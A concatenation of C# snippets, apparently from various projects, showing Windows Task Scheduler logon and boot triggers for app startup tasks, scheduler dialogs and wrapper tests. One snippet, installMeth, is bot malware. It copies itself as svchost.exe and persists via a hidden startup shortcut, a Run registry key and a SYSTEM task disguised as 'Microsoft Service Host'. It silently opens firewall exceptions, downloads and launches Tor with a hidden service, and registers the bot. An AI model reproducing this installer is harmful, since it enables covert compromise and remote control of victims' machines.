private void setupTask(string tskName) { using (Scheduler.TaskService tsrv = new Scheduler.TaskService()) { Scheduler.TaskDefinition tskDef = tsrv.FindTask(tskName).Definition; tskDef.Settings.DisallowStartIfOnBatteries = false; tskDef.Settings.RunOnlyIfNetworkAvailable = true; tskDef.RegistrationInfo.Author = _taskAuthor; tskDef.RegistrationInfo.Documentation = "TimeSharp time keeper utility"; tskDef.Principal.RunLevel = Scheduler.TaskRunLevel.Highest; tskDef.Settings.MultipleInstances = Scheduler.TaskInstancesPolicy.IgnoreNew; tskDef.Settings.WakeToRun = false; tskDef.Settings.Compatibility = Scheduler.TaskCompatibility.V2_1; //add auxiliary triggers Scheduler.SessionStateChangeTrigger unlockSessionTrigger = new Scheduler.SessionStateChangeTrigger(Scheduler.TaskSessionStateChangeType.SessionUnlock) { Enabled = true }; Scheduler.LogonTrigger logonTrigger = new Scheduler.LogonTrigger() { Enabled = true, Delay = TimeSpan.FromMinutes(1), StartBoundary = DateTime.Now, ExecutionTimeLimit = TimeSpan.FromMinutes(5) }; tskDef.Triggers.AddRange(new Scheduler.Trigger[] { unlockSessionTrigger, logonTrigger }); tsrv.RootFolder.RegisterTaskDefinition(tskName, tskDef, Scheduler.TaskCreation.CreateOrUpdate, _adminsGroupName, null, Scheduler.TaskLogonType.Group); } }
private void AddStartupTask() { Task.Factory.StartNew(() => { try { using (Microsoft.Win32.TaskScheduler.TaskService tastService = new Microsoft.Win32.TaskScheduler.TaskService()) { Microsoft.Win32.TaskScheduler.TaskDefinition task = tastService.NewTask(); Microsoft.Win32.TaskScheduler.LogonTrigger trigger = new Microsoft.Win32.TaskScheduler.LogonTrigger() { Delay = TimeSpan.FromSeconds(10) }; task.Principal.RunLevel = Microsoft.Win32.TaskScheduler.TaskRunLevel.Highest; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.StopIfGoingOnBatteries = false; task.Settings.RunOnlyIfNetworkAvailable = false; // Always start up regardless of network availability as the application can handle itself when there is no network connection. task.Settings.RunOnlyIfIdle = false; task.Settings.ExecutionTimeLimit = TimeSpan.Zero; task.Triggers.Add(trigger); task.Actions.Add( new ExecAction($"\"{Assembly.GetExecutingAssembly().Location}\"", null, $"{Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location)}")); task.RegistrationInfo.Description = $"{BrandName} automatic startup."; tastService.RootFolder.RegisterTaskDefinition(BrandName, task); } } catch (Exception ex) { _logger.Debug(ex, "Unable to add the startup task "); } }); }
TaskDefinition CreateTask(TaskService taskService, String taskName, TimeSpan RetryIntervall) { DailyTrigger dailyTrigger = new DailyTrigger(); dailyTrigger.StartBoundary = DateTime.Now.Date; //dailyTrigger.EndBoundary = DateTime.MaxValue; //dailyTrigger.ExecutionTimeLimit = TimeSpan.MaxValue; dailyTrigger.Repetition.Interval = RetryIntervall; TaskDefinition taskDefinition = taskService.NewTask(); taskDefinition.Triggers.Add(dailyTrigger); LogonTrigger logonTrigger = new LogonTrigger(); taskDefinition.Triggers.Add(logonTrigger); taskDefinition.Principal.RunLevel = TaskRunLevel.Highest; taskDefinition.Principal.UserId = "WPMedia\\WPProduction"; return taskDefinition; }
public static void TrySetLaunchAtStartup(bool enabled, string username = null, string userpassword = null) { string name = Application.ProductName; using (MW32TS.TaskService service = new MW32TS.TaskService()) { TryDeleteTasksByName(name); if (!enabled) { return; } MW32TS.LogonTrigger trigger = new MW32TS.LogonTrigger(); // MW32TS.BootTrigger trigger = new MW32TS.BootTrigger(); // trigger.Delay = new TimeSpan(0, 0, 5); //trigger.Enabled = true; MW32TS.ExecAction action = new MW32TS.ExecAction(Application.ExecutablePath, null, null); action.WorkingDirectory = Application.StartupPath; MW32TS.TaskDefinition definition = service.NewTask(); definition.RegistrationInfo.Description = "Launches App At Startup"; definition.Triggers.Add(trigger); definition.Actions.Add(action); definition.Principal.RunLevel = MW32TS.TaskRunLevel.Highest; //definition.Principal. if (!username.IsNullOrEmpty()) { service.UserName = username; } if (!userpassword.IsNullOrEmpty()) { service.UserPassword = userpassword; } service.RootFolder.RegisterTaskDefinition(name, definition); } }
public string AddStartupTrigger() { try { LogonTrigger lot = new LogonTrigger(); taskDef.Triggers.Add(lot); triggers.Add(lot); task.RootFolder.RegisterTaskDefinition(this.taskName, taskDef, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.InteractiveToken, null); return "Added"; } catch (Exception e) { return "Access Denied"; } }
public Dev2LogonTrigger(ITaskServiceConvertorFactory taskServiceConvertorFactory, LogonTrigger instance) : base(taskServiceConvertorFactory, instance) { }
/// <summary> /// Saves all the settings setted in the UI /// </summary> /// <param name="sender"></param> /// <param name="e"></param> public void btnOK_Click(object sender, EventArgs e) { bool isNewTask = true; try { TaskService service = new TaskService(); TaskDefinition td = service.NewTask(); TriggerCollection trgCollection; DateTime oldTriggerDate = new DateTime(); Task task = service.FindTask("PCCleaner1ClickMaint"); if (task != null) { isNewTask = false; oldTriggerDate = task.Definition.Triggers.Count > 0 ? task.Definition.Triggers[0].StartBoundary.Date : DateTime.Today; task.Definition.Triggers.Clear(); trgCollection = task.Definition.Triggers; } else { td.RegistrationInfo.Description = "PCCleaner 1 ClickMaint"; td.Settings.Enabled = true; td.Actions.Add(new ExecAction(Environment.CurrentDirectory + "\\1Click.exe", System.Diagnostics.Process.GetCurrentProcess().ProcessName, Environment.CurrentDirectory)); trgCollection = td.Triggers; } if (cmbSelectSchedule.SelectedIndex == (int)Schedule.Daily) { DailyTrigger dTrigger = new DailyTrigger { DaysInterval = (short)nudDays.Value }; if (isNewTask) dTrigger.StartBoundary = DateTime.Today.Date + timePicker.Value.TimeOfDay; else dTrigger.StartBoundary = oldTriggerDate + timePicker.Value.TimeOfDay; trgCollection.Add(dTrigger); } else if (cmbSelectSchedule.SelectedIndex == (int)Schedule.Weekly) { WeeklyTrigger wTrigger = new WeeklyTrigger(); if (!chkMon.Checked && !chkTue.Checked && !chkWed.Checked && !chkThu.Checked && !chkFri.Checked && !chkSat.Checked && !chkSun.Checked) { MessageBox.Show(WPFLocalizeExtensionHelpers.GetUIString("select_day"), System.Windows.Forms.Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } if (chkMon.Checked && chkTue.Checked && chkWed.Checked && chkThu.Checked && chkFri.Checked && chkSat.Checked && chkSun.Checked) { wTrigger.DaysOfWeek = DaysOfTheWeek.AllDays; trgCollection.Add(wTrigger); cmbSelectSchedule.SelectedIndex = (int)Schedule.Daily; } else { if (chkMon.Checked) { wTrigger = new WeeklyTrigger { DaysOfWeek = DaysOfTheWeek.Monday }; trgCollection.Add(wTrigger); } if (chkTue.Checked) { wTrigger = new WeeklyTrigger { DaysOfWeek = DaysOfTheWeek.Tuesday }; trgCollection.Add(wTrigger); } if (chkWed.Checked) { wTrigger = new WeeklyTrigger { DaysOfWeek = DaysOfTheWeek.Wednesday }; trgCollection.Add(wTrigger); } if (chkThu.Checked) { wTrigger = new WeeklyTrigger { DaysOfWeek = DaysOfTheWeek.Thursday }; trgCollection.Add(wTrigger); } if (chkFri.Checked) { wTrigger = new WeeklyTrigger { DaysOfWeek = DaysOfTheWeek.Friday }; trgCollection.Add(wTrigger); } if (chkSat.Checked) { wTrigger = new WeeklyTrigger { DaysOfWeek = DaysOfTheWeek.Saturday }; trgCollection.Add(wTrigger); } if (chkSun.Checked) { wTrigger = new WeeklyTrigger { DaysOfWeek = DaysOfTheWeek.Sunday }; trgCollection.Add(wTrigger); } } foreach (WeeklyTrigger trg in trgCollection) { if (isNewTask) trg.StartBoundary = DateTime.Today.Date + timePicker.Value.TimeOfDay; else trg.StartBoundary = oldTriggerDate + timePicker.Value.TimeOfDay; trg.WeeksInterval = (short)nudWeeks.Value; } } else if (cmbSelectSchedule.SelectedIndex == (int)Schedule.Monthly) { if (radDay.Checked) { MonthlyTrigger mTrigger = new MonthlyTrigger(); if (isNewTask) mTrigger.StartBoundary = DateTime.Today.Date + timePicker.Value.TimeOfDay; else mTrigger.StartBoundary = oldTriggerDate + timePicker.Value.TimeOfDay; mTrigger.MonthsOfYear = MonthsOfTheYear.AllMonths; mTrigger.DaysOfMonth = new[] { (int)nudDayMonth.Value }; trgCollection.Add(mTrigger); } else if (radMonth.Checked) { MonthlyDOWTrigger mdTrigger = new MonthlyDOWTrigger(); if (cmbday.Text == WPFLocalizeExtensionHelpers.GetUIString("MondayFull")) { mdTrigger.DaysOfWeek = DaysOfTheWeek.Monday; } else if (cmbday.Text == WPFLocalizeExtensionHelpers.GetUIString("TuesdayFull")) { mdTrigger.DaysOfWeek = DaysOfTheWeek.Tuesday; } else if (cmbday.Text == WPFLocalizeExtensionHelpers.GetUIString("WednesdayFull")) { mdTrigger.DaysOfWeek = DaysOfTheWeek.Wednesday; } else if (cmbday.Text == WPFLocalizeExtensionHelpers.GetUIString("ThursdayFull")) { mdTrigger.DaysOfWeek = DaysOfTheWeek.Thursday; } else if (cmbday.Text == WPFLocalizeExtensionHelpers.GetUIString("FridayFull")) { mdTrigger.DaysOfWeek = DaysOfTheWeek.Friday; } else if (cmbday.Text == WPFLocalizeExtensionHelpers.GetUIString("SaturdayFull")) { mdTrigger.DaysOfWeek = DaysOfTheWeek.Saturday; } else if (cmbday.Text == WPFLocalizeExtensionHelpers.GetUIString("SundayFull")) { mdTrigger.DaysOfWeek = DaysOfTheWeek.Sunday; } if (cmbweek.SelectedIndex == 0) { mdTrigger.WeeksOfMonth = WhichWeek.FirstWeek; } else if (cmbweek.SelectedIndex == 1) { mdTrigger.WeeksOfMonth = WhichWeek.SecondWeek; } else if (cmbweek.SelectedIndex == 2) { mdTrigger.WeeksOfMonth = WhichWeek.ThirdWeek; } else if (cmbweek.SelectedIndex == 3) { mdTrigger.WeeksOfMonth = WhichWeek.FourthWeek; } else if (cmbweek.SelectedIndex == 4) { mdTrigger.WeeksOfMonth = WhichWeek.LastWeek; } mdTrigger.MonthsOfYear = MonthsOfTheYear.AllMonths; mdTrigger.StartBoundary = DateTime.Today.Date + timePicker.Value.TimeOfDay; trgCollection.Add(mdTrigger); } } else if (cmbSelectSchedule.SelectedIndex == (int)Schedule.Once) { TimeTrigger tTrigger = new TimeTrigger { StartBoundary = timePickerOnce.Value.Date + timePicker.Value.TimeOfDay }; trgCollection.Add(tTrigger); } else if (cmbSelectSchedule.SelectedIndex == (int)Schedule.AtSystemStartUp) { BootTrigger bTrigger = new BootTrigger { Delay = TimeSpan.FromMinutes(2) }; trgCollection.Add(bTrigger); } else if (cmbSelectSchedule.SelectedIndex == (int)Schedule.AtLogon) { LogonTrigger lTrigger = new LogonTrigger { Delay = TimeSpan.FromSeconds(1) }; trgCollection.Add(lTrigger); } else if (cmbSelectSchedule.SelectedIndex == (int)Schedule.WhenIdel) { IdleTrigger iTrigger = new IdleTrigger(); if (isNewTask) iTrigger.StartBoundary = DateTime.Today.Date + TimeSpan.FromMinutes((double)nudMinutes.Value); else iTrigger.StartBoundary = oldTriggerDate + TimeSpan.FromMinutes((double)nudMinutes.Value); trgCollection.Add(iTrigger); } // Register the task in the root folder if (isNewTask) service.RootFolder.RegisterTaskDefinition(@"PCCleaner1ClickMaint", td); else task.RegisterChanges(); ((OneClickAppsViewModel)Application.Current.MainWindow.DataContext).SchedulerText = lblSchedule.Text; Close(); } catch { } }
void UpdateTrigger(IScheduledResource task, Table table) { var sched = table.Rows[0]["ScheduleType"]; Trigger x; switch(sched) { case "At log on": x = new LogonTrigger(); break; case "On a schedule": x = CreateScheduleTrigger(table); break; case "At Startup": x = new BootTrigger(); break; case "On Idle": x = new IdleTrigger(); break; default: x = new DailyTrigger(); break; } task.Trigger.Trigger = new Dev2Trigger(new TaskServiceConvertorFactory(), x); }
private void triggerTypeCombo_SelectedValueChanged(object sender, EventArgs e) { if (triggerTypeCombo.SelectedValue == null) return; Trigger newTrigger = null; switch (TriggerView) { case TaskTriggerDisplayType.Schedule: default: settingsTabControl.SelectedTab = scheduleTab; if (!onAssignment) { schedOneRadio.Checked = schedMonthlyRadio.Checked = schedDailyRadio.Checked = schedWeeklyRadio.Checked = false; schedOneRadio.Checked = true; return; } break; case TaskTriggerDisplayType.Logon: logonRemotePanel.Visible = false; settingsTabControl.SelectedTab = logonTab; if (!onAssignment) newTrigger = new LogonTrigger(); break; case TaskTriggerDisplayType.Boot: settingsTabControl.SelectedTab = startupTab; if (!onAssignment) newTrigger = new BootTrigger(); break; case TaskTriggerDisplayType.Idle: settingsTabControl.SelectedTab = idleTab; if (!onAssignment) newTrigger = new IdleTrigger(); break; case TaskTriggerDisplayType.Event: settingsTabControl.SelectedTab = onEventTab; if (!onAssignment) newTrigger = new EventTrigger(); break; case TaskTriggerDisplayType.Registration: settingsTabControl.SelectedTab = startupTab; if (!onAssignment) newTrigger = new RegistrationTrigger(); break; case TaskTriggerDisplayType.SessionConnect: case TaskTriggerDisplayType.SessionDisconnect: case TaskTriggerDisplayType.WorkstationLock: case TaskTriggerDisplayType.WorkstationUnlock: logonRemotePanel.Visible = (int)TriggerView < (int)TaskTriggerDisplayType.WorkstationLock; settingsTabControl.SelectedTab = logonTab; if (!onAssignment) newTrigger = new SessionStateChangeTrigger() { StateChange = (TaskSessionStateChangeType)(TriggerView - 110) }; break; case TaskTriggerDisplayType.Custom: settingsTabControl.SelectedTab = customTab; triggerTypeCombo.Enabled = okBtn.Enabled = false; break; } if (newTrigger != null && !onAssignment) { if (trigger != null) newTrigger.CopyProperties(trigger); this.Trigger = newTrigger; } }
internal static Trigger CreateTrigger(V1Interop.ITaskTrigger trigger, V1Interop.TaskTriggerType triggerType) { Trigger t = null; switch (triggerType) { case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.RunOnce: t = new TimeTrigger(trigger); break; case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.RunDaily: t = new DailyTrigger(trigger); break; case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.RunWeekly: t = new WeeklyTrigger(trigger); break; case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.RunMonthly: t = new MonthlyTrigger(trigger); break; case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.RunMonthlyDOW: t = new MonthlyDOWTrigger(trigger); break; case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.OnIdle: t = new IdleTrigger(trigger); break; case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.OnSystemStart: t = new BootTrigger(trigger); break; case Microsoft.Win32.TaskScheduler.V1Interop.TaskTriggerType.OnLogon: t = new LogonTrigger(trigger); break; default: break; } //if (t != null) t.ttype = triggerType; return t; }
public void installMeth() { if (System.IO.File.Exists(System.Windows.Forms.Application.StartupPath + "\\installed.txt") == false) { string si = Application.ExecutablePath.ToString(); try { System.IO.Directory.CreateDirectory(FluxGlobal.sInstallDirectory); } catch (Exception ex) { } try { System.IO.File.Copy(si, FluxGlobal.sInstallDirectory + "\\svchost.exe"); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } try { System.IO.File.WriteAllText(FluxGlobal.sInstallDirectory + "\\installed.txt", FluxGlobal.dVersion.ToString()); } catch (Exception ex) { } try { string deskDir = Environment.GetFolderPath(Environment.SpecialFolder.Startup); if (File.Exists(deskDir + "\\ServiceHost.url") == false) { using (StreamWriter writer = new StreamWriter(deskDir + "\\ServiceHost.url")) { string app = FluxGlobal.sInstallDirectory + "\\svchost.exe"; writer.WriteLine("[InternetShortcut]"); writer.WriteLine("URL=file:///" + app); writer.WriteLine("IconIndex=0"); string icon = app.Replace('\\', '/'); writer.WriteLine("IconFile=" + icon); writer.Flush(); } System.IO.File.SetAttributes(deskDir + "\\ServiceHost.url", FileAttributes.Hidden); } } catch (Exception ex) { Console.WriteLine(ex.ToString()); } // Try Registry Last incase we get popped try { RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); add.SetValue("System Service", "\"" + FluxGlobal.sInstallDirectory + "\\svchost.exe" + "\""); } catch(Exception ex) { Console.WriteLine(ex.ToString()); } try { // Get the service on the local machine using (TaskService ts = new TaskService()) { TaskLogonType logonType = TaskLogonType.ServiceAccount; string userId = "SYSTEM"; // string.Concat(Environment.UserDomainName, "\\", Environment.UserName); // Create a new task definition and assign properties TaskDefinition td = ts.NewTask(); //td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(15); //Version v = new Version("_v2"); //if (ts.HighestSupportedVersion == v) ////{ td.Principal.RunLevel = TaskRunLevel.LUA; td.Principal.LogonType = logonType; td.RegistrationInfo.Description = "Microsoft Service Host"; td.RegistrationInfo.Author = "SYSTEM"; td.Principal.DisplayName = "Service Host"; //} LogonTrigger lt = new LogonTrigger(); lt.Enabled = true; BootTrigger bt = new BootTrigger(); bt.Delay = TimeSpan.FromMinutes(5); // Create a trigger that will fire the task at this time every other day td.Triggers.Add(lt); // Create an action that will launch Notepad whenever the trigger fires td.Actions.Add(new ExecAction(FluxGlobal.sInstallDirectory + "\\svchost.exe")); try { ts.RootFolder.RegisterTaskDefinition("ServiceHost", td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount); } catch(Exception ex2) { Console.WriteLine(ex2.ToString()); } } } catch (Exception ex) { Console.WriteLine(ex.ToString()); } string torDirectory = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\tor\\"; try { ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\svchost.exe" + " ServiceHost ENABLE"); Process proc = new Process(); proc.StartInfo = procStartInfo; proc.StartInfo.UseShellExecute = false; proc.StartInfo.CreateNoWindow = true; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); } catch (Exception ex) { } try { ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\tor\\tor.exe" + " TorHost ENABLE"); Process proc = new Process(); proc.StartInfo = procStartInfo; proc.StartInfo.UseShellExecute = false; proc.StartInfo.CreateNoWindow = true; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); } catch (Exception ex) { } string sDownloadPath = FluxGlobal.sInstallDirectory + "\\Tor\\"; if (System.IO.Directory.Exists(sDownloadPath) == false) { System.IO.Directory.CreateDirectory(sDownloadPath); } sDownloadPath = sDownloadPath + "tor.zip"; if (System.IO.File.Exists(sDownloadPath.Replace("tor.zip", "tor.exe")) == false) { //if(System.IO.Directory.Exists(torDirectory) == false) //{ // System.IO.Directory.CreateDirectory(torDirectory); //} bool bGoodDownload = false; System.Net.WebClient wc = new System.Net.WebClient(); while (bGoodDownload == false && alTorURLs.Count > 0) { string sUrl = alTorURLs[0].ToString(); alTorURLs.RemoveAt(0); try { wc.DownloadFile(sUrl, sDownloadPath); bGoodDownload = true; } catch { } if (bGoodDownload == true) { break; } } try { UnZip(sDownloadPath, sDownloadPath.Replace("tor.zip", "")); System.IO.Directory.Move(sDownloadPath.Replace("tor.zip","") + "\\1-master", torDirectory); string torrc = "SocksPort 9050\r\nSocksBindAddress 127.0.0.1\r\nAllowUnverifiedNodes middle,rendezvous\r\nDataDirectory " + torDirectory.Replace("\\", "/") + "\r\nHiddenServiceDir " + torDirectory.Replace("\\", "/") + "/hidden_service/\r\nHiddenServicePort 57480 127.0.0.1:41375"; System.IO.File.WriteAllText(torDirectory + "torrc", torrc); try { System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(torDirectory + "\\tor.exe", "--defaults-torrc \"" + torDirectory + "\\torrc\""); psi.UseShellExecute = false; psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; psi.CreateNoWindow = true; psi.RedirectStandardError = true; psi.RedirectStandardOutput = true; psi.RedirectStandardInput = true; System.Diagnostics.Process serviceProcess = new System.Diagnostics.Process(); serviceProcess.StartInfo = psi; serviceProcess.Start(); System.Threading.Thread.Sleep(120000); serviceProcess.Kill(); } catch (Exception ex) { } string sHiddenServiceAddress = System.IO.File.ReadAllText(torDirectory + "\\hidden_service\\hostname"); System.IO.File.WriteAllText(torDirectory + "torrc", torrc.Replace("57480", OnionToPort(sHiddenServiceAddress).ToString())); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } FluxApiClient.RegisterBot(); } }
private void chkWindowsStartup_Checked(object sender, RoutedEventArgs e) { try { using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) { WindowsPrincipal principal = new WindowsPrincipal(identity); if (principal.IsInRole(WindowsBuiltInRole.Administrator)) { // Get the service on the local machine using (TaskService ts = new TaskService()) { var tasks = ts.RootFolder.GetTasks(new Regex(TaskName)); if (tasks.Count == 0) { // Create a new task definition and assign properties TaskDefinition td = ts.NewTask(); td.Settings.MultipleInstances = TaskInstancesPolicy.StopExisting; td.Settings.DisallowStartIfOnBatteries = false; td.RegistrationInfo.Description = "Launch GestureSign when user login"; td.Principal.RunLevel = TaskRunLevel.Highest; LogonTrigger lt = new LogonTrigger { Enabled = true }; td.Triggers.Add(lt); // Create an action that will launch Notepad whenever the trigger fires td.Actions.Add(new ExecAction( Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "GestureSignDaemon.exe"), null, AppDomain.CurrentDomain.BaseDirectory)); // Register the task in the root folder ts.RootFolder.RegisterTaskDefinition(TaskName, td); } } } else { string lnkPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Application.ResourceAssembly.GetName().Name + ".lnk"; CreateLnk(lnkPath); } } } catch (Exception ex) { MessageBox.Show(ex.Message, LocalizationProvider.Instance.GetTextValue("Messages.Error"), MessageBoxButton.OK, MessageBoxImage.Error); } }
public void TaskShedulerWrapper_Dev2LogonTrigger_Construct_Test() { var native = new LogonTrigger(); var wrapped = new Dev2LogonTrigger(_taskServiceConvertorFactory.Object, native); wrapped.Delay = new TimeSpan(1); Assert.AreEqual(wrapped.Delay, native.Delay); Assert.AreEqual(wrapped.UserId, native.UserId); Assert.AreEqual(wrapped.Instance,native); }